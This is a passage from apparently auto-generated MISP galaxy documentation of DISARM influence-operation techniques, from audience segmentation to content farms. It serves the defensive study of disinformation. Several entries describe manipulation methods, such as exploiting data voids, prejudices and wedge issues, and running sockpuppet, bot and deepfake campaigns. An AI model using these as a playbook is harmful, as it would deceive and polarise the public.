The tag is: *misp-galaxy:disarm-techniques="Economic Segmentation"*

Table 1324. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0072.003.md

Psychographic Segmentation

An influence operation may target populations based on psychographic segmentation, which uses audience values and decision-making processes. An operation may individually gather psychographic data with its own surveys or collection tools or externally purchase data from social media companies or online surveys, such as personality quizzes.

The tag is: *misp-galaxy:disarm-techniques="Psychographic Segmentation"*

Table 1325. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0072.004.md

Political Segmentation

An influence operation may target populations based on their political affiliations, especially when aiming to manipulate voting or change policy.

The tag is: *misp-galaxy:disarm-techniques="Political Segmentation"*

Table 1326. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0072.005.md

Determine Target Audiences

Determining the target audiences (segments of the population) who will receive campaign narratives and artefacts intended to achieve the strategic ends.

The tag is: *misp-galaxy:disarm-techniques="Determine Target Audiences"*

Table 1327. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0073.md

Determine Strategic Ends

These are the long-term end-states the campaign aims to bring about. They typically involve an advantageous position vis-a-vis competitors in terms of power or influence. The strategic goal may be to improve or simply to hold one's position. Competition occurs in the public sphere in the domains of war, diplomacy, politics, economics, and ideology, and can play out between armed groups, nation-states, political parties, corporations, interest groups, or individuals.

The tag is: *misp-galaxy:disarm-techniques="Determine Strategic Ends"*

Table 1328. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0074.md

Geopolitical Advantage

Favourable position on the international stage in terms of great power politics or regional rivalry. Geopolitics plays out in the realms of foreign policy, national security, diplomacy, and intelligence. It involves nation-state governments, heads of state, foreign ministers, intergovernmental organisations, and regional security alliances.

The tag is: *misp-galaxy:disarm-techniques="Geopolitical Advantage"*

Table 1329. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0074.001.md

Domestic Political Advantage

Favourable position vis-à-vis national or sub-national political opponents such as political parties, interest groups, politicians, candidates.

The tag is: *misp-galaxy:disarm-techniques="Domestic Political Advantage"*

Table 1330. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0074.002.md

Economic Advantage

Favourable position domestically or internationally in the realms of commerce, trade, finance, industry. Economics involves nation-states, corporations, banks, trade blocs, industry associations, cartels.

The tag is: *misp-galaxy:disarm-techniques="Economic Advantage"*

Table 1331. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0074.003.md

Ideological Advantage

Favourable position domestically or internationally in the market for ideas, beliefs, and world views. Competition plays out among faith systems, political systems, and value systems. It can involve sub-national, national or supra-national movements.

The tag is: *misp-galaxy:disarm-techniques="Ideological Advantage"*

Table 1332. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0074.004.md

Dismiss

Push back against criticism by dismissing your critics. This might be arguing that the critics use a different standard for you than with other actors or themselves; or arguing that their criticism is biassed.

The tag is: *misp-galaxy:disarm-techniques="Dismiss"*

Table 1333. Table References

Links

https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0075.md

Discredit Credible Sources

Plan to delegitimize the media landscape and degrade public trust in reporting, by discrediting credible sources. This makes it easier to promote influence operation content.

The tag is: *misp-galaxy:disarm-techniques="Discredit Credible Sources"*

Table 1334. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0075.001.md

Distort

Twist the narrative. Take information, or artefacts like images, and change the framing around them.

The tag is: *misp-galaxy:disarm-techniques="Distort"*

Table 1335. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0076.md

Distract

Shift attention to a different narrative or actor, for instance by accusing critics of the same activity that they've accused you of (e.g. police brutality).

The tag is: *misp-galaxy:disarm-techniques="Distract"*

Table 1336. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0077.md

Dismay

Threaten the critic or narrator of events. For instance, threaten journalists or news outlets reporting on a story.

The tag is: *misp-galaxy:disarm-techniques="Dismay"*

Table 1337. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0078.md

Divide

Create conflict between subgroups, to widen divisions in a community

The tag is: *misp-galaxy:disarm-techniques="Divide"*

Table 1338. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0079.md

Map Target Audience Information Environment

Mapping the target audience information environment analyses the information space itself, including social media analytics, web traffic, and media surveys. Mapping the information environment may help the influence operation determine the most realistic and popular information channels to reach its target audience. Mapping the target audience information environment aids influence operations in determining the most vulnerable areas of the information space to target with messaging.

The tag is: *misp-galaxy:disarm-techniques="Map Target Audience Information Environment"*

Table 1339. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0080.md

Monitor Social Media Analytics

An influence operation may use social media analytics to determine which factors will increase the operation content's exposure to its target audience on social media platforms, including views, interactions, and sentiment relating to topics and content types. The social media platform itself or a third-party tool may collect the metrics.

The tag is: *misp-galaxy:disarm-techniques="Monitor Social Media Analytics"*

Table 1340. Table References

Links

https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0080.001.md

Evaluate Media Surveys

An influence operation may evaluate its own or third-party media surveys to determine what type of content appeals to its target audience. Media surveys may provide insight into an audience's political views, social class, general interests, or other indicators used to tailor operation messaging to its target audience.

The tag is: *misp-galaxy:disarm-techniques="Evaluate Media Surveys"*

Table 1341. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0080.002.md

Identify Trending Topics/Hashtags

An influence operation may identify trending hashtags on social media platforms for later use in boosting operation content. A hashtag40 refers to a word or phrase preceded by the hash symbol (#) on social media used to identify messages and posts relating to a specific topic. All public posts that use the same hashtag are aggregated onto a centralised page dedicated to the word or phrase and sorted either chronologically or by popularity.

The tag is: *misp-galaxy:disarm-techniques="Identify Trending Topics/Hashtags"*

Table 1342. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0080.003.md

Conduct Web Traffic Analysis

An influence operation may conduct web traffic analysis to determine which search engines, keywords, websites, and advertisements gain the most traction with its target audience.

The tag is: *misp-galaxy:disarm-techniques="Conduct Web Traffic Analysis"*

Table 1343. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0080.004.md

Assess Degree/Type of Media Access

An influence operation may survey a target audience's Internet availability and degree of media freedom to determine which target audience members will have access to operation content and on which platforms. An operation may face more difficulty targeting an information environment with heavy restrictions and media control than an environment with independent media, freedom of speech and of the press, and individual liberties.

The tag is: *misp-galaxy:disarm-techniques="Assess Degree/Type of Media Access"*

Table 1344. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0080.005.md

Identify Social and Technical Vulnerabilities

Identifying social and technical vulnerabilities determines weaknesses within the target audience information environment for later exploitation. Vulnerabilities include decisive political issues, weak cybersecurity infrastructure, search engine data voids, and other technical and non technical weaknesses in the target information environment. Identifying social and technical vulnerabilities facilitates the later exploitation of the identified weaknesses to advance operation objectives.

The tag is: *misp-galaxy:disarm-techniques="Identify Social and Technical Vulnerabilities"*

Table 1345. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0081.md

Find Echo Chambers

Find or plan to create areas (social media groups, search term groups, hashtag groups etc) where individuals only engage with people they agree with.

The tag is: *misp-galaxy:disarm-techniques="Find Echo Chambers"*

Table 1346. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0081.001.md

Identify Data Voids

A data void refers to a word or phrase that results in little, manipulative, or low-quality search

engine data. Data voids are hard to detect and relatively harmless until exploited by an entity aiming to quickly proliferate false or misleading information during a phenomenon that causes a high number of individuals to query the term or phrase. In the Plan phase, an influence operation may identify data voids for later exploitation in the operation. A 2019 report by Michael Golebiewski identifies five types of data voids. (1) “Breaking news” data voids occur when a keyword gains popularity during a short period of time, allowing an influence operation to publish false content before legitimate news outlets have an opportunity to publish relevant information. (2) An influence operation may create a “strategic new terms” data void by creating their own terms and publishing information online before promoting their keyword to the target audience. (3) An influence operation may publish content on “outdated terms” that have decreased in popularity, capitalising on most search engines’ preferences for recency. (4) “Fragmented concepts” data voids separate connections between similar ideas, isolating segment queries to distinct search engine results. (5) An influence operation may use “problematic queries” that previously resulted in disturbing or inappropriate content to promote messaging until mainstream media recontextualizes the term.

The tag is: *misp-galaxy:disarm-techniques="Identify Data Voids"*

Table 1347. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0081.002.md

Identify Existing Prejudices

An influence operation may exploit existing racial, religious, demographic, or social prejudices to further polarise its target audience from the rest of the public.

The tag is: *misp-galaxy:disarm-techniques="Identify Existing Prejudices"*

Table 1348. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0081.003.md

Identify Existing Fissures

An influence operation may identify existing fissures to pit target populations against one another or facilitate a “divide-and-conquer" approach to tailor operation narratives along the divides.

The tag is: *misp-galaxy:disarm-techniques="Identify Existing Fissures"*

Table 1349. Table References

Links

https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0081.004.md

Identify Existing Conspiracy Narratives/Suspicions

An influence operation may assess preexisting conspiracy theories or suspicions in a population to identify existing narratives that support operational objectives.

The tag is: *misp-galaxy:disarm-techniques="Identify Existing Conspiracy Narratives/Suspicions"*

Table 1350. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0081.005.md

Identify Wedge Issues

A wedge issue is a divisive political issue, usually concerning a social phenomenon, that divides individuals along a defined line. An influence operation may exploit wedge issues by intentionally polarising the public along the wedge issue line and encouraging opposition between factions.

The tag is: *misp-galaxy:disarm-techniques="Identify Wedge Issues"*

Table 1351. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0081.006.md

Identify Target Audience Adversaries

An influence operation may identify or create a real or imaginary adversary to centre operation narratives against. A real adversary may include certain politicians or political parties while imaginary adversaries may include falsified “deep state”62 actors that, according to conspiracies, run the state behind public view.

The tag is: *misp-galaxy:disarm-techniques="Identify Target Audience Adversaries"*

Table 1352. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0081.007.md

Identify Media System Vulnerabilities

An influence operation may exploit existing weaknesses in a target's media system. These weaknesses may include existing biases among media agencies, vulnerability to false news agencies on social media, or existing distrust of traditional media sources. An existing distrust among the public in the media system's credibility holds high potential for exploitation by an influence operation when establishing alternative news agencies to spread operation content.

The tag is: *misp-galaxy:disarm-techniques="Identify Media System Vulnerabilities"*

Table 1353. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0081.008.md

Develop New Narratives

Actors may develop new narratives to further strategic or tactical goals, especially when existing narratives adequately align with the campaign goals. New narratives provide more control in terms of crafting the message to achieve specific goals. However, new narratives may require more effort to disseminate than adapting or adopting existing narratives.

The tag is: *misp-galaxy:disarm-techniques="Develop New Narratives"*

Table 1354. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0082.md

Integrate Target Audience Vulnerabilities into Narrative

An influence operation may seek to exploit the preexisting weaknesses, fears, and enemies of the target audience for integration into the operation's narratives and overall strategy. Integrating existing vulnerabilities into the operational approach conserves resources by exploiting already weak areas of the target information environment instead of forcing the operation to create new vulnerabilities in the environment.

The tag is: *misp-galaxy:disarm-techniques="Integrate Target Audience Vulnerabilities into Narrative"*

Table 1355. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0083.md

Reuse Existing Content

When an operation recycles content from its own previous operations or plagiarises from external operations. An operation may launder information to conserve resources that would have otherwise been utilised to develop new content.

The tag is: *misp-galaxy:disarm-techniques="Reuse Existing Content"*

Table 1356. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0084.md

Use Copypasta

Copypasta refers to a piece of text that has been copied and pasted multiple times across various online platforms. A copypasta's final form may differ from its original source text as users add, delete, or otherwise edit the content as they repost the text.

The tag is: *misp-galaxy:disarm-techniques="Use Copypasta"*

Table 1357. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0084.001.md

Plagiarise Content

An influence operation may take content from other sources without proper attribution. This content may be either misinformation content shared by others without malicious intent but now leveraged by the campaign as disinformation or disinformation content from other sources.

The tag is: *misp-galaxy:disarm-techniques="Plagiarise Content"*

Table 1358. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0084.002.md

Deceptively Labelled or Translated

An influence operation may take authentic content from other sources and add deceptive labels or deceptively translate the content into other langauges.

The tag is: *misp-galaxy:disarm-techniques="Deceptively Labelled or Translated"*

Table 1359. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0084.003.md

Appropriate Content

An influence operation may take content from other sources with proper attribution. This content may be either misinformation content shared by others without malicious intent but now leveraged by the campaign as disinformation or disinformation content from other sources. Examples include the appropriation of content from one inauthentic news site to another inauthentic news site or network in ways that align with the originators licencing or terms of service.

The tag is: *misp-galaxy:disarm-techniques="Appropriate Content"*

Table 1360. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0084.004.md

Develop Text-Based Content

Creating and editing false or misleading text-based artefacts, often aligned with one or more specific narratives, for use in a disinformation campaign.

The tag is: *misp-galaxy:disarm-techniques="Develop Text-Based Content"*

Table 1361. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0085.md

Develop AI-Generated Text

AI-generated texts refers to synthetic text composed by computers using text-generating AI technology. Autonomous generation refers to content created by a bot without human input, also known as bot-created content generation. Autonomous generation represents the next step in automation after language generation and may lead to automated journalism. An influence operation may use read fakes or autonomous generation to quickly develop and distribute content to the target audience.

The tag is: *misp-galaxy:disarm-techniques="Develop AI-Generated Text"*

Table 1362. Table References

Links

https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0085.001.md

Develop Inauthentic News Articles

An influence operation may develop false or misleading news articles aligned to their campaign goals or narratives.

The tag is: *misp-galaxy:disarm-techniques="Develop Inauthentic News Articles"*

Table 1363. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0085.003.md

Develop Document

Produce text in the form of a document.

The tag is: *misp-galaxy:disarm-techniques="Develop Document"*

Table 1364. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0085.004.md

Develop Book

Produce text content in the form of a book.

This technique covers both e-books and physical books, however, the former is more easily deployed by threat actors given the lower cost to develop.

The tag is: *misp-galaxy:disarm-techniques="Develop Book"*

Table 1365. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0085.005.md

Develop Opinion Article

Opinion articles (aka “Op-Eds” or “Editorials”) are articles or regular columns flagged as “opinion” posted to news sources, and can be contributed by people outside the organisation.

Flagging articles as opinions allow news organisations to distinguish them from the typical expectations of objective news reporting while distancing the presented opinion from the organisation or its employees.

The use of this technique is not by itself an indication of malicious or inauthentic content; Op-eds are a common format in media. However, threat actors exploit op-eds to, for example, submit opinion articles to local media to promote their narratives.

Examples from the perspective of a news site involve publishing op-eds from perceived prestigious voices to give legitimacy to an inauthentic publication, or supporting causes by hosting op-eds from actors aligned with the organisation's goals.

The tag is: *misp-galaxy:disarm-techniques="Develop Opinion Article"*

Table 1366. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0085.006.md

Create Fake Research

Create fake academic research. Example: fake social science research is often aimed at hot-button social issues such as gender, race and sexuality. Fake science research can target Climate Science debate or pseudoscience like anti-vaxx.

This Technique previously used the ID T0019.001

The tag is: *misp-galaxy:disarm-techniques="Create Fake Research"*

Table 1367. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0085.007.md

Develop Image-Based Content

Creating and editing false or misleading visual artefacts, often aligned with one or more specific narratives, for use in a disinformation campaign. This may include photographing staged real-life situations, repurposing existing digital images, or using image creation and editing technologies.

The tag is: *misp-galaxy:disarm-techniques="Develop Image-Based Content"*

Table 1368. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0086.md

Develop Memes

Memes are one of the most important single artefact types in all of computational propaganda. Memes in this framework denotes the narrow image-based definition. But that naming is no accident, as these items have most of the important properties of Dawkins' original conception as a self-replicating unit of culture. Memes pull together reference and commentary; image and narrative; emotion and message. Memes are a powerful tool and the heart of modern influence campaigns.

The tag is: *misp-galaxy:disarm-techniques="Develop Memes"*

Table 1369. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0086.001.md

Develop AI-Generated Images (Deepfakes)

Deepfakes refer to AI-generated falsified photos, videos, or soundbites. An influence operation may use deepfakes to depict an inauthentic situation by synthetically recreating an individual's face, body, voice, and physical gestures.

The tag is: *misp-galaxy:disarm-techniques="Develop AI-Generated Images (Deepfakes)"*

Table 1370. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0086.002.md

Deceptively Edit Images (Cheap Fakes)

Cheap fakes utilise less sophisticated measures of altering an image, video, or audio for example, slowing, speeding, or cutting footage to create a false context surrounding an image or event.

The tag is: *misp-galaxy:disarm-techniques="Deceptively Edit Images (Cheap Fakes)"*

Table 1371. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0086.003.md

Aggregate Information into Evidence Collages

Image files that aggregate positive evidence (Joan Donovan)

The tag is: *misp-galaxy:disarm-techniques="Aggregate Information into Evidence Collages"*

Table 1372. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0086.004.md

Develop Video-Based Content

Creating and editing false or misleading video artefacts, often aligned with one or more specific narratives, for use in a disinformation campaign. This may include staging videos of purportedly real situations, repurposing existing video artefacts, or using AI-generated video creation and editing technologies (including deepfakes).

The tag is: *misp-galaxy:disarm-techniques="Develop Video-Based Content"*

Table 1373. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0087.md

Develop AI-Generated Videos (Deepfakes)

Deepfakes refer to AI-generated falsified photos, videos, or soundbites. An influence operation may use deepfakes to depict an inauthentic situation by synthetically recreating an individual's face, body, voice, and physical gestures.

The tag is: *misp-galaxy:disarm-techniques="Develop AI-Generated Videos (Deepfakes)"*

Table 1374. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0087.001.md

Deceptively Edit Video (Cheap Fakes)

Cheap fakes utilise less sophisticated measures of altering an image, video, or audio for example, slowing, speeding, or cutting footage to create a false context surrounding an image or event.

The tag is: *misp-galaxy:disarm-techniques="Deceptively Edit Video (Cheap Fakes)"*

Table 1375. Table References

Links

https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0087.002.md

Develop Audio-Based Content

Creating and editing false or misleading audio artefacts, often aligned with one or more specific narratives, for use in a disinformation campaign. This may include creating completely new audio content, repurposing existing audio artefacts (including cheap fakes), or using AI-generated audio creation and editing technologies (including deepfakes).

The tag is: *misp-galaxy:disarm-techniques="Develop Audio-Based Content"*

Table 1376. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0088.md

Develop AI-Generated Audio (Deepfakes)

Deepfakes refer to AI-generated falsified photos, videos, or soundbites. An influence operation may use deepfakes to depict an inauthentic situation by synthetically recreating an individual's face, body, voice, and physical gestures.

The tag is: *misp-galaxy:disarm-techniques="Develop AI-Generated Audio (Deepfakes)"*

Table 1377. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0088.001.md

Deceptively Edit Audio (Cheap Fakes)

Cheap fakes utilise less sophisticated measures of altering an image, video, or audio for example, slowing, speeding, or cutting footage to create a false context surrounding an image or event.

The tag is: *misp-galaxy:disarm-techniques="Deceptively Edit Audio (Cheap Fakes)"*

Table 1378. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0088.002.md

Obtain Private Documents

Procuring documents that are not publicly available, by whatever means — whether legal or illegal, highly-resourced or less so. These documents can include authentic non-public documents, authentic non-public documents have been altered, or inauthentic documents intended to appear as if they are authentic non-public documents. All of these types of documents can be "leaked" during later stages in the operation.

The tag is: *misp-galaxy:disarm-techniques="Obtain Private Documents"*

Table 1379. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0089.md

Obtain Authentic Documents

Procure authentic documents that are not publicly available, by whatever means — whether legal or illegal, highly-resourced or less so. These documents can be "leaked" during later stages in the operation.

The tag is: *misp-galaxy:disarm-techniques="Obtain Authentic Documents"*

Table 1380. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0089.001.md

Alter Authentic Documents

Alter authentic documents (public or non-public) to achieve campaign goals. The altered documents are intended to appear as if they are authentic and can be "leaked" during later stages in the operation.

The tag is: *misp-galaxy:disarm-techniques="Alter Authentic Documents"*

Table 1381. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0089.003.md

Create Inauthentic Accounts

Inauthentic accounts include bot accounts, cyborg accounts, sockpuppet accounts, and anonymous accounts.

The tag is: *misp-galaxy:disarm-techniques="Create Inauthentic Accounts"*

Table 1382. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0090.md

Create Anonymous Accounts

Anonymous accounts or anonymous users refer to users that access network resources without providing a username or password. An influence operation may use anonymous accounts to spread content without direct attribution to the operation.

The tag is: *misp-galaxy:disarm-techniques="Create Anonymous Accounts"*

Table 1383. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0090.001.md

Create Cyborg Accounts

Cyborg accounts refer to partly manned, partly automated social media accounts. Cyborg accounts primarily act as bots, but a human operator periodically takes control of the account to engage with real social media users by responding to comments and posting original content. Influence operations may use cyborg accounts to reduce the amount of direct human input required to maintain a regular account but increase the apparent legitimacy of the cyborg account by occasionally breaking its bot-like behaviour with human interaction.

The tag is: *misp-galaxy:disarm-techniques="Create Cyborg Accounts"*

Table 1384. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0090.002.md

Create Bot Accounts

Bots refer to autonomous internet users that interact with systems or other users while imitating traditional human behaviour. Bots use a variety of tools to stay active without direct human operation, including artificial intelligence and big data analytics. For example, an individual may programme a Twitter bot to retweet a tweet every time it contains a certain keyword or hashtag. An influence operation may use bots to increase its exposure and artificially promote its content across the internet without dedicating additional time or human resources. Amplifier bots promote operation content through reposts, shares, and likes to increase the content's online popularity.

Hacker bots are traditionally covert bots running on computer scripts that rarely engage with users and work primarily as agents of larger cyberattacks, such as a Distributed Denial of Service attacks. Spammer bots are programmed to post content on social media or in comment sections, usually as a supplementary tool. Impersonator bots102 pose as real people by mimicking human behaviour, complicating their detection.

The tag is: *misp-galaxy:disarm-techniques="Create Bot Accounts"*

Table 1385. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0090.003.md

Create Sockpuppet Accounts

Sockpuppet accounts refer to falsified accounts that either promote the influence operation's own material or attack critics of the material online. Individuals who control sockpuppet accounts also man at least one other user account.67 Sockpuppet accounts help legitimise operation narratives by providing an appearance of external support for the material and discrediting opponents of the operation.

The tag is: *misp-galaxy:disarm-techniques="Create Sockpuppet Accounts"*

Table 1386. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0090.004.md

Recruit Malign Actors

Operators recruit bad actors paying recruiting, or exerting control over individuals includes trolls, partisans, and contractors.

The tag is: *misp-galaxy:disarm-techniques="Recruit Malign Actors"*

Table 1387. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0091.md

Recruit Contractors

Operators recruit paid contractor to support the campaign.

The tag is: *misp-galaxy:disarm-techniques="Recruit Contractors"*

Table 1388. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0091.001.md

Recruit Partisans

Operators recruit partisans (ideologically-aligned individuals) to support the campaign.

The tag is: *misp-galaxy:disarm-techniques="Recruit Partisans"*

Table 1389. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0091.002.md

Enlist Troll Accounts

An influence operation may hire trolls, or human operators of fake accounts that aim to provoke others by posting and amplifying content about controversial issues. Trolls can serve to discredit an influence operation's opposition or bring attention to the operation's cause through debate. Classic trolls refer to regular people who troll for personal reasons, such as attention-seeking or boredom. Classic trolls may advance operation narratives by coincidence but are not directly affiliated with any larger operation. Conversely, hybrid trolls act on behalf of another institution, such as a state or financial organisation, and post content with a specific ideological goal. Hybrid trolls may be highly advanced and institutionalised or less organised and work for a single individual.

The tag is: *misp-galaxy:disarm-techniques="Enlist Troll Accounts"*

Table 1390. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0091.003.md

Build Network

Operators build their own network, creating links between accounts — whether authentic or inauthentic — in order amplify and promote narratives and artefacts, and encourage further growth of ther network, as well as the ongoing sharing and engagement with operational content.

The tag is: *misp-galaxy:disarm-techniques="Build Network"*

Table 1391. Table References

Links

https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0092.md

Create Organisations

Influence operations may establish organisations with legitimate or falsified hierarchies, staff, and content to structure operation assets, provide a sense of legitimacy to the operation, or provide institutional backing to operation activities.

The tag is: *misp-galaxy:disarm-techniques="Create Organisations"*

Table 1392. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0092.001.md

Use Follow Trains

A follow train is a group of people who follow each other on a social media platform, often as a way for an individual or campaign to grow its social media following. Follow trains may be a violation of platform Terms of Service. They are also known as follow-for-follow groups.

The tag is: *misp-galaxy:disarm-techniques="Use Follow Trains"*

Table 1393. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0092.002.md

Create Community or Sub-Group

When there is not an existing community or sub-group that meets a campaign's goals, an influence operation may seek to create a community or sub-group.

The tag is: *misp-galaxy:disarm-techniques="Create Community or Sub-Group"*

Table 1394. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0092.003.md

Acquire/Recruit Network

Operators acquire an existing network by paying, recruiting, or exerting control over the leaders of the existing network.

The tag is: *misp-galaxy:disarm-techniques="Acquire/Recruit Network"*

Table 1395. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0093.md

Fund Proxies

An influence operation may fund proxies, or external entities that work for the operation. An operation may recruit/train users with existing sympathies towards the operation's narratives and/or goals as proxies. Funding proxies serves various purposes including: - Diversifying operation locations to complicate attribution - Reducing the workload for direct operation assets

The tag is: *misp-galaxy:disarm-techniques="Fund Proxies"*

Table 1396. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0093.001.md

Acquire Botnets

A botnet is a group of bots that can function in coordination with each other.

The tag is: *misp-galaxy:disarm-techniques="Acquire Botnets"*

Table 1397. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0093.002.md

Infiltrate Existing Networks

Operators deceptively insert social assets into existing networks as group members in order to influence the members of the network and the wider information environment that the network impacts.

The tag is: *misp-galaxy:disarm-techniques="Infiltrate Existing Networks"*

Table 1398. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0094.md

Identify Susceptible Targets in Networks

When seeking to infiltrate an existing network, an influence operation may identify individuals and groups that might be susceptible to being co-opted or influenced.

The tag is: *misp-galaxy:disarm-techniques="Identify Susceptible Targets in Networks"*

Table 1399. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0094.001.md

Utilise Butterfly Attacks

Butterfly attacks occur when operators pretend to be members of a certain social group, usually a group that struggles for representation. An influence operation may mimic a group to insert controversial statements into the discourse, encourage the spread of operation content, or promote harassment among group members. Unlike astroturfing, butterfly attacks aim to infiltrate and discredit existing grassroots movements, organisations, and media campaigns.

The tag is: *misp-galaxy:disarm-techniques="Utilise Butterfly Attacks"*

Table 1400. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0094.002.md

Develop Owned Media Assets

An owned media asset refers to an agency or organisation through which an influence operation may create, develop, and host content and narratives. Owned media assets include websites, blogs, social media pages, forums, and other platforms that facilitate the creation and organisation of content.

The tag is: *misp-galaxy:disarm-techniques="Develop Owned Media Assets"*

Table 1401. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0095.md

Leverage Content Farms

Using the services of large-scale content providers for creating and amplifying campaign artefacts at scale.

The tag is: *misp-galaxy:disarm-techniques="Leverage Content Farms"*

Table 1402. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0096.md

Create Content Farms

An influence operation may create an organisation for creating and amplifying campaign artefacts at scale.

